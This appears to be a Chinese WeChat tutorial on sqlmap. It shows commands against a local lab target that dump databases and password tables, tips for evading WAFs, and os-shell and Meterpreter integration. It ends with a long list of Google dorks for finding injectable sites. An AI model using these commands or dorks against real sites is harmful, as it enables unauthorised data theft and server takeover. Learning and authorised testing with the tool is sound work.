SQLMAP深度解读及使用手册
TIPS:公众号私聊窗口,回复“SQLMAP”获得全网最全选项注释和Google范例
0x01 SqlMap介绍及分析
SQLMAP是一种开源渗透测试工具,可自动执行SQL注入缺陷的检测和开发过程,并接管数据库服务器。它有强大的检测引擎,针对不同类型的数据库提供多样的渗透测试功能选项,实现数据库识别、数据获取、访问DBMS操作系统甚至通过带外数据连接的方式执行操作系统的命令。,以及从数据库指纹识别、从数据库获取数据、访问底层文件的广泛范围的交换机 通过带外连接在操作系统上执行命令。
0x02 SqlMap下载及安装
Windows:
访问https://sqlmap.org/进行官网zip文件下载,下载后解压,安装python3环境,在sqlmap根目录打开cmd进行使用即可,如想更方便,添加环境变量更加好用哦。
MacOS:
方式1.macOS安装brew,安装后直接本地终端输入brew install sqlmap即可
方式2. 访问https://sqlmap.org/进行官网zip文件下载,下载后解压,安装python3环境,在sqlmap根目录打开终端进行使用即可,如想更方便,添加环境变量更加好用哦。
0x02 SQLmap实战操作
sqlmap基本命令:
1、查看版本
sqlmap.py --version
2、查看帮助
sqlmap.py --help
3、测试url是否有注入的可能
sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1
4、不询问用户,使用所有默认的配置,可能会触发WAF的告警
sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 --batch
5、暴库(列出所有的数据库)
sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 --dbs
6、web当前使用的数据库
sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 --current-db
7、当前使用数据库的用户
sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 --current-user
8、列出数据库所有的用户
sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 –users
9、列出数据库的用户和密码
sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 --passwords
10、列出数据中所有的表
sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 --tables -D bts
11、列出数据库bts特定表users的结构,所有字段
sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 --columns -D bts -T users
12、脱裤 数据库bts,表users,字段username和password
sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 --dump -D bts -T users -C "username,password"
13、脱裤,整个数据库
sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 --dump-all
Sqlmap使用经验总结
1 |
在使用-v参数的时候,尽量选择,3级别,次级别可以显示注入的参数。 例如:sqlmap -v3 -u www.potian.com |
2 |
当一件知道数据库信息的时候,使用-d直接连接数据库,注意-D是指定目标库,要区分。 例如:-d mysql://POTIAN:123123@127.0.0.1:3306/ORDER |
3 |
当使用Burp或WebScarab保存了日志的时候,想从日志文件中筛选目标,可使用-I使用 绝对路径地址即可。 |
4 |
-g可以使用google的搜索结果,例如,直接搜索uid=,查找具有此参数的站点,直接使用sqlmap调用google结果,例:sqlmap -g inurl:php?uid=。(收集了一些语句,在附表) 当需要使用 -g inurl:php?uid=等参数时,默认无法访问,可使用此参数+海外代理方式使用此功能。当代理需要验证的时候,使用-cre指定身份信息,需要使用代理轮巡时,使用文件加载代理设置列表,使用代理轮询也可在对访问ip次数进行了验证的场景使用。(鉴于我国国情,不建议使用) |
5 |
服务端允许的情况下,--method改变默认的http方法,和其他参数配合使用,例如--data,改变为post然后推送数据。 |
6 |
默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/*.*-dev-xxxxxxx(http://sqlmap.org) 可以使用–user-agent参数来指定想使用的UA,同时也可以使用–random-agent参数来随机的从./txt/user-agents.txt中获取。当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入.另外UA是绕过waf的参数,--user-agent= --random-agent这两个参数可对waf针对恶意ua的防控进行绕过。 |
7 |
指定http请求中的header里的host参数、在请求中伪造referer,有些waf和安全产品等会对refer进行限制,仅允许本站referer,当waf参数对referer进行了限制后,可使用此参数进行绕过。当–level参数设定为3或者3以上的时候会尝试对referer注入 指定其他的header信息,XFF等,例如strust2-045使用了Content-Type |
8 |
HTTP代理身份验证凭据,可自动使用username:password和秘钥文件,例如有些访问会使用key文件,集团sso最爱出现此种场景,在这种身份验证凭据的需求中,也可使用-I参数使用burp等代理记录文件来使用身份凭据 |
9 |
设置http请求间隔时间,在绕过需求时使用,例如单ip单位时间访问多少次,可配合代理和多代理参数使用。超时连接后的尝试间隔,默认30s,可手动调整,一般--timeout和--retries配合使用 |
10 |
有的网站会对提交的参数进行编码或加密,这时候需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用--eval参数在每次请求时根据所写python代码做完修改后请求。 例子: --eval=""import hashlib;hash=hashlib.md5(id).hexdigest()"" 上面的请求就是每次请求时根据id参数值,做一次md5后作为hash参数的值。" |
11 |
sqlmap默认测试所有的GET和POST参数,上文提到过,当--level的值大于等于2的时候也会测试HTTP Cookie头的值,大于等于3的时候也会测试User-Agent和HTTP Referer头的值。这时候可以手动指定-p参数设置想要测试的参数。 例如:-p ""id,cookie""但是有个别参数不想测试的时候可以使用--skip=“user-agent”参数。 |
12 |
数值处理: 参数:--invalid-bignum --invalid-logical 这两个参数对报错数据、无效数据进行更改,例如默认报错UID=-20,可以通过制定以上参数制定无效的大数字和逻辑,比如uid=999999999和uid=20 and a=b 参数:--prefix,--suffix在注入的payload的前面或者后面加一些字符,来保证payload的正常执行,例如在语句中增加--prefix ""’)"" --suffix ""AND (’1’=’1"" |
13 |
--tamper 可从tamper库里查找相关内容,使用 --tamper tamper/*.py方式指定" |
14 |
上文多次解释--level对测试参数的影响,一共有五个等级,默认为1,sqlmap使用的payload可以在payloads.xml中看到,你也可以根据相应的格式添加自己的payload内容,默认也有一些,可定制。--level的值大于等于2的时候也会测试HTTP Cookie头的值,大于等于3的时候也会测试User-Agent和HTTP Referer头的值,建议最高级别,会更慢、测试参数更复杂。 |
15 |
risk从0-3共有四个风险等级,默认是1,risk1会测试大部分的测试语句,risk2会增加基于事件的测试语句,3会增加OR语句的注入测试。测试的语句同样可以在payloads.xml中找到,可以自行添加payload。警告:当使用高级别时,可能会使用drop、update等高危语句对整表、整库造成影响,可能导致更新的整个表,可能造成很大的风险。 |
16 |
"sqlmap测试结果取决于返回内容,当页面在刷新或更新后,可能导致返回不同的内容,特别是页面有动态内容的情况下。为了避免误报,可指定字符串或者正则表达式来区分原始页面和报错页面(--string参数添加字符串,--regexp添加正则),也可以提供一段字符串在原始页面与true下的页面都不存在的字符串,而false页面中存在的字符串(--not-string添加)。用户也可以提供true与false返回的HTTP状态码不一样来注入,例如,响应200的时候为真,响应401的时候为假,--code=200。 |
17 |
默认sqlmap会把BEUSTQ六中注入方式全来一遍,可根据实际情况进行调整,例如可使用时间延迟,看网站响应时间来判断是否有注入,可根据报错判断注入。如果不是很懂,就不用管,虽然时间长点,但很全面。 B: Boolean-based blind SQL injection(布尔型注入) E: Error-based SQL injection(报错型注入) U: UNION query SQL injection(可联合查询注入) S: Stacked queries SQL injection(可多语句查询注入) T: Time-based blind SQL injection(基于时间延迟注入) Q: Inline SQL Injection (内联注入)" 当使用基于时间延迟注入的盲注时,时刻使用--time-sec参数设定延时时间,默认是5秒,可以根据环境记性调整,比如网络延迟很大,可适当增加延时时间 |
18 |
--union-cols设定的值为一段整数范围,制定区间,此数值默认为1-10,随着--levle增加,当为5的时候增加为50,当level级别和取值范围不匹配,在低级别需求更大的范围,可通过设定--union-cols的值来实现。设定union查询使用的字符,默认使用NULL,但是可能会返回失败,--union-char指定UNION查询的字符。 指定查询的表,配合上文暴力破解的字符、范围等来详细使用。
|
19 |
在一旦注入成功且获得精确信息通过以下详细参数来指定检索、枚举动作和动作执行对象: 检索DBMS的指纹特征、数据库、host值、用户身份、并对用户、密码、权限、角色进行枚举也就是爆破。 然后尝试枚举数据库、数据库里的表、数据库里的内容、可以使用count来统计条目等操作。 dump和dump-all就是脱裤和全脱的区别,dump某表的十条八条可能没事儿,dump-all注定要浪迹天涯,也就是所谓的从脱裤到跑路的开始, 通过-D-T-C来制定索要枚举的库、表、和列,使用-X来排除不想要的列,特别是有多列且有无意义字段的时候,使用-X可大大节省时间。 --exclude-sysdbs参数,将不会获取数据库自带的系统库内容,可减少干扰内容,对-count的使用和枚举信息的使用建议搭配此参数来排除系统库。 当我们不想跑路的时候,那么请使用下面内容: --start=LIMITSTART First query output entry to retrieve 指定从第几行开始输出,如--start=1 --stop=LIMITSTOP Last query output entry to retrieve 指定从第几行停止输出 --stop=10 --first=FIRSTCHAR First query output word character to retrieve 指定从第几个字符开始输出 --first 1 --last=LASTCHAR Last query output word character to retrieve 指定从第几个字符停止输出 --last10 " |
20 |
暴力检查: 猜测检查常见的、通用的表名和列名,可通过下面两个文件进行定制化 暴力破解的表在txt/common-tables.txt文件中 暴力破解的列名在txt/common-columns.txt中" |
21 |
对文件系统、操作系统的交互和使用必须需要相应的权限,前面提到要求具有特定的函数执行特权,一般要求root。 针对文件系统的读写: 对--file-read配置绝对系统路径,可读取相应文件内容,可以是文本,也可以是二进制,条件是必须拥有相对应特权,已知的是mysql、postgresql和sqlserver。写入也是同样,往远端后台的DBMS里写入一个本地文件,可通过--file-dest指定绝对文件路径。" 当然和上面可以配合使用,当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。然后通过上面的文件系统管理上传一个库,使用可执行系统命令的sys_exec()和sys_eval(),甚至xp_cmdshell存储过程 --os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。 Meterpreter配合使用 --os-pwn,--os-smbrelay,--os-bof,--priv-esc,--msf-path,--tmp-path配合Meterpreter使用, 当前用户有权限使用特定的函数,可以在数据库与攻击者直接建立TCP连接,这个连接可以是一个交互式命令行的Meterpreter会话,sqlmap根据Metasploit生成shellcode,四种方式执行它: 1、通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:--os-pwn。 2、通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:--os-pwn。 3、通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),--os-smbrelay。 4、通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:--os-bof" |
22 |
所见即所得,注册表连接指的是windows系统,相信大家都有windows系统知识,不懂注册表基本就不懂windows系统,所有的windows系统配置在注册表里都可实现,比如开启远程连接、比如新建用户、比如组策略配置、比如防火墙等等,reg可对注册表内容进行读取、编辑、和删除,上面和下面相配合可实现对指定的key、value、data和类型进行操作。 |
23 |
--batch 在使用sqlmap时,有时一些响应需要用户交互,输入Y、N、skip、quit等,使用此选项可使用默认配置。 --output-dir= 指定输出路径,方式控制台输出过多,无法查看,也方便记录 --gpage=GOOGLEPAGE 好像默认是使用google搜索的前100个文件,当使用前面的-g参数,配合此参数指定页面 --identify-waf 进行WAF/IPS/IDS保护测试,目前大约支持30种产品的识别 --mobile 使用移动产品UA,把sqlmap伪装成手机,也可使用前面的-user-agent自己指定 --smart 智能深度启发式扫描,或许额会有惊喜呢。 --wizard 和上面的完全不同,纯新手选择,一步步让你输入url等参数,基本输入个url就行。 |
0x02 SQLmap实现批量sql注入探测
0x03 SleuthQL介绍
SleuthQL是基于python3所开发的一款,用于批量爬行站点可能存在sql的地址。并且可以配合burp+sqlmap进行批量注入。
https://github.com/ianxtianxt/SleuthQL
简单的说就是用burp采集网站路径以及页面,sqlmap跑全部可能存在uid注入的接口。
0x03 附全网最全Google使用方法
参考参数:
goole搜索内容 | ||
inurl:item_id= | inurl:review.php?id= | inurl:hosting_info.php?id= |
inurl:newsid= | inurl:iniziativa.php?in= | inurl:gallery.php?id= |
inurl:trainers.php?id= | inurl:curriculum.php?id= | inurl:rub.php?idr= |
inurl:news-full.php?id= | inurl:labels.php?id= | inurl:view_faq.php?id= |
inurl:news_display.php?getid= | inurl:story.php?id= | inurl:artikelinfo.php?id= |
inurl:index2.php?option= | inurl:look.php?ID= | inurl:detail.php?ID= |
inurl:readnews.php?id= | inurl:newsone.php?id= | inurl:index.php?= |
inurl:top10.php?cat= | inurl:aboutbook.php?id= | inurl:profile_view.php?id= |
inurl:newsone.php?id= | inurl:material.php?id= | inurl:category.php?id= |
inurl:event.php?id= | inurl:opinions.php?id= | inurl:publications.php?id= |
inurl:product-item.php?id= | inurl:announce.php?id= | inurl:fellows.php?id= |
inurl:sql.php?id= | inurl:rub.php?idr= | inurl:downloads_info.php?id= |
inurl:index.php?catid= | inurl:galeri_info.php?l= | inurl:prod_info.php?id= |
inurl:news.php?catid= | inurl:tekst.php?idt= | inurl:shop.php?do=part&id= |
inurl:index.php?id= | inurl:newscat.php?id= | inurl:productinfo.php?id= |
inurl:news.php?id= | inurl:newsticker_info.php?idn= | inurl:collectionitem.php?id= |
inurl:index.php?id= | inurl:rubrika.php?idr= | inurl:band_info.php?id= |
inurl:trainers.php?id= | inurl:rubp.php?idr= | inurl:product.php?id= |
inurl:buy.php?category= | inurl:offer.php?idf= | inurl:releases.php?id= |
inurl:article.php?ID= | inurl:art.php?idm= | inurl:ray.php?id= |
inurl:play_old.php?id= | inurl:title.php?id= | inurl:produit.php?id= |
inurl:declaration_more.php?decl_id= | inurl:news_view.php?id= | inurl:pop.php?id= |
inurl:pageid= | inurl:select_biblio.php?id= | inurl:shopping.php?id= |
inurl:games.php?id= | inurl:humor.php?id= | inurl:productdetail.php?id= |
inurl:page.php?file= | inurl:aboutbook.php?id= | inurl:post.php?id= |
inurl:newsDetail.php?id= | inurl:ogl_inet.php?ogl_id= | inurl:viewshowdetail.php?id= |
inurl:gallery.php?id= | inurl:fiche_spectacle.php?id= | inurl:clubpage.php?id= |
inurl:article.php?id= | inurl:communique_detail.php?id= | inurl:memberInfo.php?id= |
inurl:show.php?id= | inurl:sem.php3?id= | inurl:section.php?id= |
inurl:staff_id= | inurl:kategorie.php4?id= | inurl:theme.php?id= |
inurl:newsitem.php?num= | inurl:news.php?id= | inurl:page.php?id= |
inurl:readnews.php?id= | inurl:index.php?id= | inurl:shredder-categories.php?id= |
inurl:top10.php?cat= | inurl:faq2.php?id= | inurl:tradeCategory.php?id= |
inurl:historialeer.php?num= | inurl:show_an.php?id= | inurl:product_ranges_view.php?ID= |
inurl:reagir.php?num= | inurl:preview.php?id= | inurl:shop_category.php?id= |
inurl:Stray-Questions-View.php?num= | inurl:loadpsb.php?id= | inurl:transcript.php?id= |
inurl:forum_bds.php?num= | inurl:opinions.php?id= | inurl:channel_id= |
inurl:game.php?id= | inurl:spr.php?id= | inurl:aboutbook.php?id= |
inurl:view_product.php?id= | inurl:pages.php?id= | inurl:preview.php?id= |
inurl:newsone.php?id= | inurl:announce.php?id= | inurl:loadpsb.php?id= |
inurl:sw_comment.php?id= | inurl:clanek.php4?id= | inurl:pages.php?id= |
inurl:news.php?id= | inurl:participant.php?id= | |
inurl:avd_start.php?avd= | inurl:download.php?id= | |
inurl:event.php?id= | inurl:main.php?id= | |
inurl:product-item.php?id= | inurl:review.php?id= | |
inurl:sql.php?id= | inurl:chappies.php?id= | |
inurl:material.php?id= | inurl:read.php?id= | |
inurl:clanek.php4?id= | inurl:prod_detail.php?id= | |
inurl:announce.php?id= | inurl:viewphoto.php?id= | |
inurl:chappies.php?id= | inurl:article.php?id= | |
inurl:read.php?id= | inurl:person.php?id= | |
inurl:viewapp.php?id= | inurl:productinfo.php?id= | |
inurl:viewphoto.php?id= | inurl:showimg.php?id= | |
inurl:rub.php?idr= | inurl:view.php?id= | |
inurl:galeri_info.php?l= | inurl:website.php?id= |
原文始发于微信公众号(KK安全说):【原创】SQLMAP深度解读及使用手册
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论